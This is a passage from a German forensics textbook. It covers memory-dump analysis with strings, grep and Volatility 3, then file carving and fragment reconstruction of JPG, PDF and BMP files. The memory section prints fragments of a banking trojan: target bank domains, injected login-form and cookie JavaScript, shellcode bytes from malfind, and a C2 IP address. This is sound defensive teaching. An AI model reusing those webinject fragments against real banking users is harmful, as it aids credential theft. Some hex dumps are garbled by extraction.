Host:239.255.255.250:1900 Host:239.255.255.250:1900 Host: 41.168.5.140:8080 172.16.112.128 255.255.255.0 172.16.112.2 0.0.0.0 172.16.112.254 172.16.112.2 ... Ausgabe gekürzt 5.1.2600.5512 Version 3.11.01.24N16 w1.3.14.3.2.22 w1.3.14.3.2.22 172.16.112.128 255.255.255.0 172.16.112.2 0.0.0.0 172.16.112.254 172.16.112.2 0.0.0.0 mark@REMnux$ strings dlls_extracted/1640.dmp |grep -E "[a-z]+\.[a-z]{2,3}" "C:\Program Files\Adobe\Reader 9.0\Reader\Reader_sl.exe" C:\Program Files\Adobe\Reader 9.0\Reader\Reader_sl.exe *treasurypathways.com* *weblink.websterbank.com* *trz.tranzact.org* *secureport.texascapitalbank.com* *tdbank.com* *online.ovcb.com* *ebanking-services.com* *schwab.com* *billmelater.com* *chase.com* ... Ausgabe gekürzt <form id="ge93Zid02L5" name="ge93Zid02L5" action="https://www.chase.com/online/Home/images/chaseNewlogo.gif" target="ifr2" method="POST"> document.getElementById("errrr1").style.display = 'none'; document.getElementById("errrr2").style.display = 'none'; date.setTime(date.getTime()+(days*24*60*60*1000)); var expires = "; expires="+date.toGMTString(); document.cookie = name+"="+value+expires+"; path=/"; 109
var ca = document.cookie.split(';'); for(var i=0;i < ca.length;i++) { while (c.charAt(0)==' ') c = c.substring(1,c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length); ... Ausgabe gekürzt parvdm.pdb h.rdata audstub.pdb ntoskrnl.exe null.pdb ntoskrnl.exe h.rdata dxgthk.pdb dxgthk.sys Wir finden neben URLs von einigen Bank-Webseiten auch eine Menge Javascript und diverse Dateinamen. Das macht die Datei noch viel suspekter. Prüfen wir noch ob die zwei zuvor gefundenen IP-Adressen, mit denen Kommuniziert wurde, in diesem Memory-Dump vorkommen: mark@REMnux$ strings dlls_extracted/1640.dmp |grep 41.168.5.140 Host: 41.168.5.140:8080 mark@REMnux$ strings dlls_extracted/1640.dmp |grep 125.19.103.198 mark@REMnux$ Zumindest 41.168.5.140 kommt in dem Speicherbereich der suspekten Datei vor. Wenn Sie mit regulären Ausdrücken nicht vertraut sind, dann lernen Sie diese unbedingt. Für die Suche nach Mustern sind Sie unerlässlich: mark@REMnux$ strings dlls_extracted/1640.dmp |grep -E "[a-z]+\.[a-z]{2,3}" |wc -l 4599 mark@REMnux$ strings dlls_extracted/1640.dmp |wc -l 307125 110
Wie Sie hier sehen hat uns das Suchmuster die Ausgabe von 307.125 auf 4.599 Zeilen verkürzt! Auch wenn der gezeigte Filter noch etwas grob ist, haben wir dennoch die Arbeit auf ca. 1,5% der Daten beschränkt und auch gleich mit den ganzen Javascript-Zeilen einen Glückstreffer gelandet denn diese hatte ich gar nicht im Sinn! Am Prompt wird Ihnen vielleicht aufgefallen sein, dass ich diese Analyse auf meinem REMnux System gemacht habe - auf einem Windows-Rechner ginge das auch aber wir sind dann einen versehentlichen Doppelklick oder Tastendruck auf Enter davon entfernt das System zu infizieren. Auch wenn die Systeme nicht am Netz hängen, will ich wegen eines kleinen Fehlers nicht meine Workstation neu aufsetzen und einrichten müssen. Daher mache ich derartige Analysen lieber auf einem separaten Linux-System. Für den Live-Test von Schadware habe ich einen alten Laptop mit einer kleinen 128GB SSD die ich mehrfach geklont habe. So kann ich das System sehr schnell wieder zu rücksetzen nach einem Test. 111
Volatility 3 Die neuere Version von Volatility bringt einige Änderungen und eine übersichtlichere Plugin-Namensgebung aber derzeit vermisse ich noch das ein- oder andere Plugin wie zB psxview das dazu verwendet wird um pslist, psview und einige andere miteinander zu vergleichen um Software zu finden die sich vor dem ein- oder anderen Plugin versteckt. Dafür fällt das Bestimmen eines Profils gänzlich weg... Sehen wir uns dazu ein paar kurze Beispiele an: PS D:\vol3> py.exe .\vol.py -f ..\memdump.mem windows.cmdline.CmdLine Volatility 3 Framework 2.0.0 Progress: 100.00 PDB scanning finished PID Process Args 4 System Required memory at 0x20 is not valid (process exited?) 100 Registry Required memory at 0x20 is not valid (process exited?) 340 smss.exe \SystemRoot\System32\smss.exe ... Ausgabe gekürzt Mit diesem Plugin können die Kommandozeilenargumente der laufenden Programme angezeigt werden. PS D:\vol3> py.exe .\vol.py -f ..\memdump.mem windows.malfind.Malfind Volatility 3 Framework 2.0.0 Progress: 100.00 PID Process Start VPN PrivateMemory File output 744 services.exe WRITE 1 1 9c 50 51 52 53 55 56 41 50 41 51 41 52 41 41 54 41 55 41 56 41 48 83 ec 28 e8 00 00 00 5b 48 8d 8b df 05 00 48 8d 5b 3f ff d3 83 c4 28 41 5f 41 5e 5d 41 5c 41 5b 41 5a 41 53 41 54 41 55 41 8d 5b 3f ff d3 48 83 ... Ausgabe gekürzt 112 PDB scanning finished End VPN Tag Protection Hexdump Disasm CommitCharge 0x7df5d9d40000 0x7df5d9d40fff VadS PAGE_EXECUTE_READDisabled 57 .PQRSUVW 53 APAQARAS 57 ATAUAVAW 00 H..(.... 00 .[H..... 48 .H.[?..H 41 ..(A_A^A 41 ]A\A[AZA 9c 50 51 52 53 55 56 57 41 50 41 51 41 52 56 41 57 48 83 ec 28 e8 00 00 00 00 5b 48 8d 8b df 05 00 00 48 c4 28 41 5f 41 5e 41 5d 41 5c 41 5b 41 5a 41
Das Malfind-Plugin hilft dabei DLL und Code-Injections zu finden. Das folgende Plugin liefert uns die laufenden Prozesse und die ihnen zugeordneten Privilege-Tokens: PS D:\vol3> py.exe .\vol.py -f ..\memdump.mem windows.privileges.Privs Volatility 3 Framework 2.0.0 PID Process Value 4 System 2 ... Ausgabe gekürzt Privilege SeCreateTokenPrivilege Attributes Present Description Create a token object Sehr interessant ist auch die Möglichkeit Yara zu nutzen: PS D:\FORENSIK\volatility3> py.exe .\vol.py -f ..\Case_2021_123\memdump.mem yarascan.YaraScan --yara-file .\find_exe.yar Volatility 3 Framework 2.0.0 Progress: 100.00 Offset Rule Component PDB scanning finished Value 0x827c003b0000 0x8604035c0000 0x860411bc0000 $mag_no 4d 5a $mag_no 4d 5a $mag_no 4d 5a DetectExe DetectExe DetectExe Das yarascan.YaraScan-Plugin erlaubt es mit --yara-file die Datei mit den entsprechenden Regeln anzugeben. Hier habe ich eine ganz einfache Test-Datei mit folgendem Inhalt erstellt: rule DetectExe { meta: description = "Detect EXE files based on magic number" author = "Mark B." date = "2021-12-17" strings: $mag_no = {4D 5A} condition: $mag_no at 0 } 113
Diese Regel erlaubt es Dateien zu finden die mit den Hex-Werten 4D 5A beginnen ($mag_no at 0). Dies entspricht MZ in ASCII. So werden zB alle EXE- und DLL-Dateien gefunden. Eine Liste der Magic-Numbers bzw. Dateityp-Signaturen finden Sie unter anderem auf folgender Seite: https://www.garykessler.net/library/file_sigs.html Eine Übersicht der ganzen Plugins erhalten Sie mit: PS D:\vol3> py.exe .\vol.py --help 114
115
ANALYSE VON DATENTRÄGERN Auch wenn wir viele interessante Informationen aus Netzwerklogs und RAMDumps gewinnen können liegt doch meist der Großteil der Beweise auf den Datenträgern. Zuerst sollten wir uns ansehen welche Datenträger wir in der Regel finden und wie Daten darauf gespeichert werden. HDDs ... sind magnetische Datenträger und existieren seit 1956. Sie speichern die Daten auf beschichteten Metall-, Keramik- oder Glasscheiben und sind in Sektoren, Tracks und Zylinder aufgeteilt. Ein Sektor kann 512 Byte oder bei größeren Platten auch 4 Kilobyte (EF bzw. Extended Format) groß sein. Ein Ring von Sektoren auf einer Seite einer Magnetscheibe ergibt dann einen Track. Die Tracks auf allen Magnetscheiben die auf der gleichen Position sind ergeben einen Zylinder: Abb. Sektor, Track und Zylinder (von links nach rechts) SSDs ... speichern die Daten nicht als magnetische, sondern als elektrische Ladung in NAND Chips. Unterteilt wird der Speicher hier in Pages, die in Blöcken zusammengefasst werden. Ein Controller sorgt hierbei dann für eine gleichmäßige Datenverteilung (WearLeveling) da alle Flash-Speicher nur eine bestimmte Anzahl von Schreibvorgängen verkraften. USB-Sticks und Speicherkarten ... sind auch Flash-Speicher wie SSDs nur weniger komplex im Aufbau. 116
CDs, DVDs und Blu-ray Disks ... sind optische Medien auf denen Daten mit Hilfe eines Laserstrahles eingebrannt und wieder gelesen werden. Diese Medien sind quasi ungeschützt und daher sehr gefährdet was mechanische Beschädigungen angeht. Dateisysteme ... Datenträger selber kennen keine Dateinamen, Erstellungs- und Zugriffsdaten oder Besitzer und Zugriffsrechte. Datenträger kennen nur LBAs (Logische Block Adressen). Das Dateisystem fasst mehrere Sektoren in so genannte Cluster zusammen und speichert quasi wie eine Datenbank welche Datei in welchen Clustern liegt und wem diese Datei gehört, wer darauf Zugriff hat, wann diese Datei erstellt oder zuletzt geändert wurde, etc. Die gängigsten Dateisysteme sind: > > > > > FAT / FAT32 / exFAT für USB-Sticks, Speicherkarten, etc. NTFS / ReFS für Windows-Rechner HFS+ / APFS für Max OS X EXT3 / EXT4 / XFS für Linux ZFS für Solaris Cluster und LBAs ... Logische Block Adressen sind nichts weiter als eine Nummerierung der Sektoren von 0 - X. Platten kennen intern auch PBAs (Physische Block Adressen) die den Physischen Sektoren entsprechen. Eine Festplatte hat aber mehr Sektoren als dem User zur Verfügung stehen. Einerseits werden einige Sektoren benutzt um die Firmware der Platte zu speichern und andererseits gibt es Reserve-Sektoren die benutzt werden wenn ein Sektor ausfällt. LBA und PBA stimmen also so lange überein, bis ein Sektor ausfällt, dann wird zB LBA 171.232 mit PBA 387.231 verknüpft und PBA 171.232 als defekt markiert. Cluster sind die Einheit in der das Dateisystem arbeitet und sie entsprechen ein paar zusammenhängenden Sektoren. So bilden zB die 512 Byte langen Sektoren 0 - 7 den 4 KB großen Cluster 0. 117
Suche nach Dateifragmenten und gelöschten Dateien Die erste Tätigkeit bei der Analyse sollte das Suchen nach gelöschten Dateien und Dateifragmenten sein damit man diese in die folgenden Analysen mit einbeziehen kann! Dateien werden beim Löschen nicht überschrieben. Es wird nur der Speicherplatz als wieder verfügbar vorgemerkt. Neue Daten können also die alten Daten überschreiben aber so lange das noch nicht passiert ist, kann man auf die gelöschten Dateien noch zugreifen. Die Ausnahme sind hierbei einige moderne Festplatten und SSDs in Verbindung mit aktiviertem TRIM Kommando. Hierbei benachrichtigt das Betriebssystem den Datenträger darüber, dass gewisse Daten nicht mehr benötigt werden und der Datenträger entfernt diese Daten dann sicher. Sie können sich das also wie eine Art Müllabfuhr vorstellen, die nach wenigen Sekunden Inaktivität der Platte mit anderen Hintergrundprozessen zusammenarbeitet. Wir haben bei der Suche nach verlorenen Daten zwei Ansätze - über das Dateisystem an sich und die Suche nach Dateien anhand von Signaturen. Da Speicherplatz im Dateisystem als wieder verwendbar markiert wurde, ist es nicht schwer die so markierten Bereiche herauszufiltern. Hierbei können wir in der Regel auch rekonstruieren wo die Datei gespeichert war und wie diese Datei hieß. Beim sogenannten RAW-Recovery oder File-Carving suchen wir den gesamten Datenträger nach bestimmten Markern ab. Diese nennt man auch Magic Numbers oder zu Deutsch Datei-Signaturen. Eine ausführliche Liste finden Sie hier: https://en.wikipedia.org/wiki/List_of_file_signatures Für die folgende Übung werden wir zwei dieser Signaturen benötigen: FF D8 FF D9 25 50 44 46 25 25 45 4F 46 0D 0A Jede Datei dieses Typs beginnt mit dieser charakteristischen Signatur. Viele Dateien haben auch einen End-Marker, aber nicht alle. 118
Damit lassen sich auch Dateifragmente wiederherstellen. Was wir damit machen können werden wir uns im Anschluss ansehen. Laden wir zuerst von https://www.cfreds.nist.gov/FileCarving/index.html die Datei L0_Graphic.dd herunter und entpacken sie. Ich werde hier FTK Imager verwenden um diese Übung zu demonstrieren aber Sie können gerne einen Hex-Editor verwenden wie zB HxD. Also öffnen wir unser Image und machen uns auf die Suche: Dazu wählen wir im Menü File den Punkt Add Evidence Item. Dann werden wir aufgefordert den Typ des Beweismittels zu wählen... Hier wählen wir Image File aus und klicken auf weiter >. Dann Sollen wir die Image-Datei auswählen: 119
Nachdem wir das getan haben, klicken wir auf Finnish. Dann sehen wir die 4 Hauptbereiche von FTK Imager. Links oben ist die Liste der Beweis-Datenträger und wir können in der Ordnerstruktur navigieren. Rechts oben ist die Dateiliste und darunter der Hex-Viewer. Links unten haben wir verschiedene Zusatzinformationen. Aktivieren Sie nun aus dem Menü View die Option Show Hex Position values. Dann können wir mit Strg + F die Suche starten: 120
Wählen Sie unter Typ Binary (hex) aus und geben Sie als Suchmuster FFD8 ein und klicken Sie auf Find. Der erste Treffer ist nicht am Sektorbeginn - theoretisch könnten wir hier ein eingebettetes JPG haben, dass in einer anderen Datei steckt aber diese Übung sollte nur eine einzige JPG-Datei haben und die ist nicht eingebettet. 121
Abgesehen davon sollte ein paar Byte nach dem Dateibeginn ein JFIF (4A 46 49 46) kommen und auch das fehlt. Daher sind das irgendwelche Daten in einer der anderen Dateien oder es ist Datenmüll der von gelöschten Dateien übriggeblieben ist. Dateien fangen in der Regel am Beginn eines Clusters an (außer sie sind in einer anderen Datei eingebunden), da ein Cluster mehrere Sektoren umfasst ist es in dem Fall egal ob wir vom Sektor- oder Cluster-Anfang sprechen. Hex-Editoren zeigen Ihnen aber in der Regel die Sektoren- und nicht die Clustergrenzen an. Wenn wir ein wenig weitersuchen und ein paar andere Stellen überspringen, die ebenfalls nicht passen, dann landen wir hier: Das sieht sehr gut aus. Jetzt brauchen wir nur das Dateiende. Wir merken uns 0x1BC8C00 als Dateianfang und suchen nun nach FFD9: 122
Auch diese Stelle passt nicht. Hier sind wir wieder mitten in der Datei und danach folgen weitere Daten - also kann das kaum ein Dateiende sein. Maximal das Dateiende einer eingebetteten Vorschaudatei aber dazu später mehr... Das nächste Ergebnis sieht besser aus. Nach dem Dateiende kommt nur noch 00 (NUL Byte). Das ist ziemlich sicher das Dateiende - also klicken wir mit dem Cursor nach FFD9 in den Hex-Viewer und betrachten unten die Statuszeile. 123
Darin finden wir Cursor pos = 0x1BD792C und damit können wir nun die Dateilänge berechnen. Ich nutze dazu Python: >>> 0x1BD792C - 0x1BC8C00 60716 Die Datei ist also 60.716 Bytes lang. Dann klicken wir mit rechts auf den HexViewer und wählen den Punkt Go to offset aus. Hier geben wir 1BD8C00 (den Beginn der Datei) ein und wählen Hex und Beginning of the file an: Nachdem wir auf OK geklickt haben, sind wir am Dateibeginn. Klicken Sie nun wieder mit rechts in den Hex-Viewer und wählen Sie Selection Size aus: 124
Geben Sie nun die Zahl 60719 ein und achten Sie darauf auch Dezimal auszuwählen. Dann können wir den Hex-View wieder mit recht anklicken und den Punkt Save selection... wählen. Wenn wir die Datei nun unter einem sinnvollen Namen abgespeichert haben, können wir das Bild öffnen und wir werden in Moskau begrüßt! Als Dateiname verwende ich immer folgendes Schema Dateityp_Offset_Länge: Hier wäre da dann jpg_1BC8C00_60716.jpg. Damit habe ich alle JPG-Bilder in einer Dateiauflistung zusammen und dank Offset und Länge kann ich immer prüfen ob es einen Fehler gab und ich etwas falsch interpretiert habe oder einfach die Datei wiederfinden. In der Regel überlasse ich diesen sehr zeitaufwendigen Prozess aber den Computer selbst. Hierzu kann man die entsprechenden Funktionen in forensischen Tools nutzen oder auf externe Software wie r-Studio, UFS-Explorer oder auch Photorec zurückgreifen! Versuchen Sie als kleine Übung aus der Datei L0_Documents.dd ein PDF zu extrahieren. 125
Musterlösung PDF extrahieren Nachdem wir das Image geladen haben und auf Unrecogniced filesystem und dann auf Unallocated space in der Dateiliste geklickt haben, können wir nach der PDF-Signatur 25504446 suchen. Bei Offset 4E2000 werden wir dann fündig. Das Dateiende finden wir dann auf 7E9753 und damit können wir rechnen: >>> 0x7E9753 - 0x4E2000 3176275 Dann springen wir zum Offset 4E2000 zurück und wählen eine Länge von 3176275 Bytes aus. Das können wir dann mit Rechtsklick -> Save selection... speichern. Sobald wir das PDF öffnen sehen wir eine Vorstellung von Office 2007! 126
Dateifragmente untersuchen Eine derartige Untersuchung ist extrem aufwendig und kann je nach dem wie viele Fragmente man findet einige hundert Arbeitsstunden verschlingen. Dies ist nur ein kleiner Ausblick auf fortgeschrittene Techniken. Damit wir alle mit den gleichen Daten arbeiten können, habe ich eine kleine Dateisammlung erstellt und jeweils ein 512 Byte (1 Sektor), 4 Kilobyte (ein EF- oder 4k-Sektor) und ein 32 Kilobyte (64 Sektoren bzw. 8 EF-Sektoren) großes Fragment vom Dateianfang und der Dateimitte entnommen. Derartige Fragmente finden sich im Slack-Space des Dateisystems oder auch nach der Wiederherstellung von defekten bzw. ausgemappten Sektoren. Festplatten haben einige Reserve-Sektoren, die bei dem Ausfall eines Sektors dann als Ersatz genutzt werden. Damit können aber Dateifragmente auf den Festplatten verbleiben, die man nicht mal durch sicheres Löschen entfernen kann! Slack-Space ... ist Speicher innerhalb eines Clusters, der nicht genutzt wird. Stellen wir uns vor Cluster X war zuvor mit einer 3,8kb großen Datei gefüllt welche dann gelöscht wurde. Nun ist dieser Cluster wieder mit einer Datei belegt wurden, die nun aber nur 1,3kb groß ist. Also wurden von den ursprünglich 8 belegten Sektoren nun nur die ersten 3 Sektoren überschrieben. Die 5 nun ungenutzten Sektoren sind der Slack-Space und enthalten nach wie vor Fragmente der alten Datei. Das Generieren der Dateifragmente erledigt folgendes Python-Script: #!/usr/env/python3 import os dir = os.getcwd() files = os.listdir(dir) for f in files: fpath = os.path.join(dir, f) if os.path.isfile(fpath) and not f.endswith(".py"): print(f) # Read file sector_size = 512 sectors = [] with open(fpath, "rb") as fh: sector = fh.read(sector_size) 127
while sector: sectors.append(sector) sector = fh.read(sector_size) middle = int(len(sectors) / 2) # Save fragments fpath = os.path.join(os.path.join(dir, "512b"), "first_" + f) with open(fpath, "wb") as fh: sector = fh.write(sectors[0]) fpath = os.path.join(os.path.join(dir, "512b"), "middle_" + f) with open(fpath, "wb") as fh: sector = fh.write(sectors[middle]) fpath = os.path.join(os.path.join(dir, "4kb"), "first_" + f) with open(fpath, "wb") as fh: for i in range(8): sector = fh.write(sectors[i]) fpath = os.path.join(os.path.join(dir, "4kb"), "middle_" + f) with open(fpath, "wb") as fh: for i in range(middle, middle + 8): sector = fh.write(sectors[i]) if f.endswith(".jpg") or f.endswith(".mp4") or f.endswith(".bmp"): fpath = os.path.join(os.path.join(dir, "32kb"), "first_" + f) with open(fpath, "wb") as fh: for i in range(64): sector = fh.write(sectors[i]) fpath = os.path.join(os.path.join(dir, "32kb"), "middle_" + f) with open(fpath, "wb") as fh: for i in range(middle, middle + 64): sector = fh.write(sectors[i]) Daraus ergibt sich folgende Datei- und Ordnerstruktur: user@caine ~$ ls * artikel.docx extract.py sample.mp4 32kb: first_artikel.docx 128 artikel.txt no_exif.jpg exif.jpg PIC000.bmp first_no_exif.jpg first_sample.mp4
middle_exif.jpg first_PIC000.bmp middle_sample.mp4 middle_PIC000.bmp middle_artikel.docx first_exif.jpg middle_no_exif.jpg 4kb: first_artikel.docx middle_artikel.docx first_artikel.txt middle_artikel.txt first_exif.jpg middle_exif.jpg first_no_exif.jpg middle_no_exif.jpg first_PIC000.bmp middle_PIC000.bmp first_sample.mp4 middle_sample.mp4 512b: first_artikel.docx middle_artikel.docx first_artikel.txt middle_artikel.txt first_exif.jpg middle_exif.jpg first_no_exif.jpg middle_no_exif.jpg first_PIC000.bmp middle_PIC000.bmp first_sample.mp4 middle_sample.mp4 Die Daten stehen unter https://hackenlernen.com/db/fragments.zip zum Download bereit. Textdateien ... stellen sicher den besten Fall dar denn diese enthalten nur Text und sind damit auch problemlos lesbar selbst wenn man nur ein beliebiges Fragment besitzt: user@caine ~$ xxd 512b/middle_artikel.txt 00000000: 6169 6c73 2c20 5765 6273 6569 7465 00000010: 756e 6420 7669 656c 656e 2061 6e64 00000020: 656e 2044 696e 6765 6e2e 2044 6120 00000030: 6573 2069 6d6d 6572 2077 6965 6465 00000040: 7a75 2053 6368 7769 6572 6967 6b65 00000050: 656e 2c20 4665 686c 6572 6e20 756e 00000060: 5072 6f62 6c65 6d65 6e20 66c3 bc68 00000070: 6520 7775 7264 656e 2064 6965 2055 00000080: 636f 6465 2d5a 6569 6368 656e 6b6f 00000090: 6572 756e 6765 6e20 6465 7220 5546 000000a0: 4661 6d69 6c69 6520 6765 7363 6861 000000b0: 656e 2e20 4865 7574 6520 6973 7420 000000c0: 462d 3820 6469 6520 616d 2077 6569 000000d0: 6e73 7465 6e20 7665 7262 7265 6974 000000e0: 6520 5a65 6963 6865 6e6b 6f64 6965 000000f0: 6e67 2e0a 0a0a 5554 462d 3820 6465 00000100: 5265 7474 6572 2069 6e20 6465 7220 00000110: 743a 0a2d 2d2d 2d2d 2d2d 2d2d 2d2d 00000120: 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 6e20 6572 6469 7220 6974 6420 7274 6e69 6469 542d 6666 5554 7465 6574 7275 7220 4e6f 2d2d 2d0a ails, Webseiten und vielen ander en Dingen. Da di es immer wieder zu Schwierigkeit en, Fehlern und Problemen f..hrt e wurden die Uni code-Zeichenkodi erungen der UFTFamilie geschaff en. Heute ist UT F-8 die am weite nsten verbreitet e Zeichenkodieru ng....UTF-8 der Retter in der No t:.---------------------------. 129
00000130: 00000140: 00000150: 00000160: 00000170: 00000180: 00000190: 000001a0: 000001b0: 000001c0: 000001d0: 000001e0: 000001f0: 0a44 6963 2066 6965 2075 6520 6e67 6e20 6569 2076 7072 2065 6e6b 616d 6874 c3bc 6465 6e74 5a65 656e 6465 6e74 6572 6163 696e 6f64 6974 206d 7220 6e65 6572 6963 207a 6e6e 2064 7363 6865 7a69 6965 2077 6568 6469 6e20 7363 6865 7520 2055 6965 6869 6e20 6765 7275 6972 7220 6520 5370 6869 6e6b 7665 5446 205a 6564 696e 6e20 6e67 6420 6ec3 7665 7261 6564 6f64 7277 2d38 6569 656e 2065 5a65 2e20 6573 b674 7273 6368 6c69 6965 656e 2076 6368 6572 696e 6963 536f 206e 6967 6368 656e 6368 7275 6465 6572 656e 2053 6572 6865 206b .Damit wird es n icht mehr n..tig f..r die versch iedenen Sprachen unterschiedlich e Zeichenkodieru ngen zu verwende n denn UTF-8 ver eint die Zeichen verschiedener S prachen in einer einzigen Zeiche nkodierung. So k Sie sehen also, dass die Daten direkt lesbar sind mit einem Hex-Editor - schöner können wir diese mit cat ausgeben: user@caine ~$ cat 512b/middle_artikel.txt ails, Webseiten und vielen anderen Dingen. Da dies immer wieder zu Schwierigkeiten, Fehlern und Problemen führte wurden die UnicodeZeichenkodierungen der UFT-Familie geschaffen. Heute ist UTF-8 die am weitensten verbreitete Zeichenkodierung. UTF-8 der Retter in der Not: ---------------------------Damit wird es nicht mehr nötig für die verschiedenen Sprachen unterschiedliche Zeichenkodierungen zu verwenden denn UTF-8 vereint die Zeichen verschiedener Sprachen in einer einzigen Zeichenkodierung. So k Bitmap-Dateien ... sind primitive Bildformate die für jedes Pixel den entsprechenden Wert speichern. Das verbraucht sehr viel Speicherplatz im Vergleich zu komprimierten Bildformaten, ist dafür aber sehr leicht mit einem Hex-Editor zu rekonstruieren. Aber sehen wir uns zunächst an wie wir eine BMP-Datei überhaupt erkennen: 130
user@caine ~$ xxd 512b/first_PIC000.bmp 00000000: 424d 36cc 0300 0000 0000 3600 00000010: 0000 8001 0000 d800 0000 0100 00000020: 0000 00cc 0300 0000 0000 0000 00000030: 0000 0000 0000 a1a8 b29e a9b3 00000040: a5af 8c9f a694 9fa3 a7b2 b9a6 00000050: c06d 87a1 1d4e 4e1f 372b 2e38 00000060: 2d37 2a2e 382b 3040 2b36 4c2f 00000070: 4f39 424c 3555 5d42 9e88 75ae 00000080: 939f a18e 908e 8377 756d 5759 00000090: 3d4f 383a 4f37 3b4f 343c 5133 00000120: 2f36 292e 332a 3037 2d3b 4b3d 00000130: 5b3e 4261 4245 6445 4664 453b 00000140: 302f 3f2c 303c 2c2c 3828 2935 00000150: 273a 222b 4327 2c48 2f2f 4e35 00000160: 5239 3352 3932 5138 3450 3836 00000170: 3437 5332 3d4f 3249 4b31 6d64 00000180: 9f8f 859d 9787 a09f 88bc b5af 00000190: a093 8892 8a77 827e 596e 6533 000001a0: 2321 3320 2934 2429 3226 2932 000001b0: 2a41 2a29 482e 2c4a 332e 4d33 000001c0: 5431 3a58 373b 583a 3b57 3b3d 000001d0: 3c44 5d3f 4b61 4048 5d3c 495e 000001e0: 5b6d 4f6d 7f64 798e 7e85 9c95 000001f0: a9ad 8195 9998 a0a0 8695 925d 0000 1800 0000 9aa8 b1bb 2c2e 374d a393 4842 3d53 3a54 543f 2526 2e51 5137 4895 afb8 4c3e 2729 3050 593c 3d54 91b0 7165 2800 0000 0000 b18f 9cab 382b 363c a3a6 4f39 323b 403d 2c3f 3522 3732 3652 846d a997 1d34 3827 3235 3d59 6747 b181 415b BM6.......6...(. ................ ................ ................ ................ .m...NN.7+.8,.8+ -7*.8+0@+6L/7M6< O9BL5U]B..u..... .......wumWYHBO9 =O8:O7;O4E+3=)08' /6).3*07-;K=:T@= [>BaBEdEFdE;T?,? 0/?,0<,,8()5%&5" ':"+C',H//N5.Q72 R93R92Q84P86Q76R 47S2=O2IK1mdH..m ................ .....w.~Yne3L>.4 #!3 )4$)2&)2')8' *A*)H.,J3.M30P25 T1:X7;X:;W;=Y<=Y <D]?Ka@H]<I^=TgG [mOm.dy.~....... ...........]qeA[ Eine BMP-Datei hat einen Header (rot) der mit 0x42 0x4D beginnt. Dies ist die sogenannte "Magic Number" bzw. Dateisignatur die eine BMP-Datei kennzeichnet. Danach folgt der Bitmap-Infoheader (grün) und die Bilddaten. Formal passt das Fragment also schon mal auf die BMP-Spezifikationen also sehen wir nach was exiftool dazu sagt: user@caine ~$ exiftool 512b/first_PIC000.bmp ExifTool Version Number : 10.80 File Name : first_PIC000.bmp Directory : 512b File Size : 512 bytes File Modification Date/Time : 2021:02:01 20:02:46+01:00 File Access Date/Time : 2021:02:01 20:05:30+01:00 File Inode Change Date/Time : 2021:02:01 20:02:46+01:00 File Permissions : rw-rw-r-File Type : BMP File Type Extension : bmp MIME Type : image/bmp 131
BMP Version Image Width Image Height Planes Bit Depth Compression Image Length Pixels Per Meter X Pixels Per Meter Y Num Colors Num Important Colors Image Size Megapixels : : : : : : : : : : : : : Windows V3 384 216 1 24 None 248832 0 0 Use BitDepth All 384x216 0.083 Vergleichen wir das mit der Hex-Ausgabe von xdd dann können wir folgendes festhalten. Laut https://de.wikipedia.org/wiki/Windows_Bitmap soll an Offset 18 bzw. 0x12 die Breite und an Offset 22 bzw. 0x16 die Höhe der Datei gespeichert sein - jeweils als 32-bit bzw. 4 Byte langer Wert. An Offset 28 finden wir die Bittiefe als 16-bit oder 2 Byte langen Wert und am Offset 34 finden wir in dem Fall die Bildgröße in Bytes. Die entsprechenden Werte haben ich in der Hex-Ausgabe blau eingefärbt und in der Ausgabe von exiftool fett hervorgehoben! Außerdem muss man wissen, dass man diese Werte in 2er Gruppen von Hinten nach vorne lesen muss - also steht 8001 0000 für 0x00000180! Damit können wir nun rechnen: user@caine ~$ python3 >>> 0x00000180 >>>384 >>> 0x000000d8 >>>216 >>> 0x0003cc00 248832 >>> 0x0018 24 24bit Farbtiefe : 3 Farbkanäle (Rot, Grün, Blau) = 8bit pro Kanal = 1 Byte pro Kanal x 3 Kanäle = 3 Byte pro Pixel! 384 Pixel Breite x 216 Pixel Höhe x 3 Byte für Farbwerte = 248832 Byte. Damit ist die Ausgabe schlüssig und wir haben überprüft, dass exiftool diese Werte aus dem Header zieht und diese 4 Stellen des Headers enthalten Werte die zusammenpassen. Damit ist die Chance sehr groß, dass wir es hier mit einer BMPDatei zu tun haben. Wie Sie hier gut sehen können, ist das testen und verifizieren um welchen Dateityp es sich handelt eine mühsame "Sisyphus Aufgabe". 132
Genau aus diesem Grund habe ich für dieses Experiment bestimmte Dateitypen ausgewählt und entsprechend präpariert, anstatt mit realen Daten zu arbeiten. Eine derartige Aufgabe anhand eines realen Falles durchzuführen würde einige hundert Arbeitsstunden verschlingen! Nachdem wir nun wissen was für eine Datei wir hier haben, können wir eine leere BMP-Datei mit der entsprechenden Dateigröße erstellen: user@caine ~$ xxd empty.bmp 00000000: 424d 36cc 0300 0000 00000010: 0000 8001 0000 d800 00000020: 0000 00cc 0300 0000 00000030: 0000 0000 0000 ffff 00000040: ffff ffff ffff ffff ... 0003cc20: ffff ffff ffff ffff 0003cc30: ffff ffff ffff 0000 0000 0000 ffff ffff 3600 0100 0000 ffff ffff 0000 1800 0000 ffff ffff 2800 0000 0000 ffff ffff BM6.......6...(. ................ ................ ................ ................ ffff ffff ffff ffff ................ ...... Wenn wir diese nun mit den 512 Byte, 4 bzw. 32 Kilobyte Fragmenten füllen, indem wir die leere Datei und das Fragment mit einem Hex-Editor öffnen und die Daten des Fragments kopieren und damit einfach den Dateianfang der leeren Datei überschreiben. Ich habe dies jeweils unter einem neuen Dateinamen abgespeichert: Aber was ist, wenn wir kein Fragment vom Dateianfang erhalten, sondern ein Fragment aus der Mitte? ... dann können wir weder mit Bestimmtheit sagen um welchen Dateityp es sich handelt noch welche Dateigröße oder Bittiefe die BMP-Datei haben würde wenn es denn ein Teil einer Bitmap Datei wäre! Kurz um wir müssen raten - was den Dateityp betrifft kann man bestimmte Dateitypen mit einer Analyse der Datenstruktur ausschließen aber es bleiben viele mögliche Kandidaten über. Daher wollen wir uns nur kurz ansehen was passieren würde, wenn wir versuchen das 32 Kilobyte Dateifragment aus der Mitte der Datei in eine leere BMPDatei einbauen: 133
